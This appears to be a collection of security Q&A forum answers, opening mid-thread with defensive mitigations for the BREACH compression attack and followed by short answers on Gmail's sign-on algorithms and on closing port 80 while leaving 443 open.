As you see, this is quite a convoluted setup. Sure, it is possible to do all of this with some <iframe>-magic, but those have fallen largely out-of-favour, to the point where some sites refuse to be loaded via <iframe> or instruct browsers not to open <iframe>'s within the document.

Knowing all that, what do sites do to mitigate BREACH?

They just ignore it

This is one of the most common approaches. It may seem insecure at first, but given how many things need to align for BREACH to become viable, it certainly seems like just not caring about it is quite a viable strategy.

It certainly is viable if:
 - No client-secrets are in any response
 - The site is purely static

Just compress static resources

This is another very common alternative. All static compressible resources, such as stylesheets or scripts, will be compressed, while all dynamic resources will be delivered as-is.

It should be noted however that many such resources are already minified, meaning that further compression will not yield much better results.

However, with this approach you get at least some compression done, while you can make sure that you are not vulnerable to BREACH.

Disable compression altogether

Another viable strategy. As I mentioned above, many static resources are somewhat compressed anyways, so further compression will yield diminishing returns anyways. Just disabling compression can be just fine too, especially when your network resources are good anyways.

Load secrets separately

Another mitigation is to load client-secrets separately, where no attacker-controlled data can be injected. This way, compression can be enabled for all requests, and attacker-controlled data is always separated from client-secrets.

I'm sure that there are other ways that people have attempted to mitigate BREACH, all with varying degrees of success. But these are methods I've seen and that I would personally agree with (yes, even not caring).


What algorithm/encryption type does Gmail use for security?

No: Google have not published any details of the internal workings of their sign-on mechanisms.


Is it more secure to close port 80 and leave port 443 open

In theory, closing port 80 might make the system more secure: for example, if you ran a vulnerable version of a server listening on port 80, and a different non-vulnerable version on port 443. If you're using the same software for both ports, though, it is unlikely to make any difference, unless there are specific bugs which only work on given ports. Given that most web server software is written in such a way that it can listen on any port, it seems unlikely that there would be radically different code paths taken though (it's even possible although uncommon to run HTTPS on port 80, after all).

The general principle is to minimise the number of ports exposed to the world, and since the primary benefit of opening port 80 is to aid usability, which you've said doesn't apply in this case, there is little point in opening it.